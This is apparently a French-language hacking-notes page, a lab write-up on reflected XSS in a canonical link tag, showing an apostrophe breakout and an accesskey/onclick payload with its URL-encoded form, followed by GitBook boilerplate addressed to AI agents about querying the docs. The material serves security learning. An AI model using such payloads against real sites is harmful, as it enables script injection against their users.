> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-canonical-link-tag.md).

# XSS réfléchi dans la balise canonique

### XSS réfléchi dans la balise de lien canonique

`canonique` balise qui reflète dans son `href` la valeur fournie dans l'URL (les `<` et `>` chevrons sont échappés). / Objectif : injecter un code exécutable **attribut** qui appelle `alert()` sur la page d'accueil.

* Le code source montre qu'il y a un `canonique` balise qui prend `href` à partir de ce qui est mis dans l'URL.

<figure><img src="/files/d25b937a7a885f50f926e77e90e4dbd05becfcdf" alt=""><figcaption></figcaption></figure>

* Vous pouvez sortir avec une apostrophe : `' hacking` => `%27hacking`.

```javascript
' hacking
%27hacking
```

<figure><img src="/files/92c9b1da47311de5ff8869ae8e144fc91f0ceb36" alt=""><figcaption></figcaption></figure>

* `accesskey` peut être utilisé pour appuyer sur une touche afin de déclencher l'action : `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="/files/508774a9f3021f1e19f1c6c14717a285b326bd05" alt=""><figcaption></figcaption></figure>

Action indiquée :

```javascript
ALT + X
```

<figure><img src="/files/74e1a80602f54df73323ce4cadbc3577c8da7328" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-canonical-link-tag.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
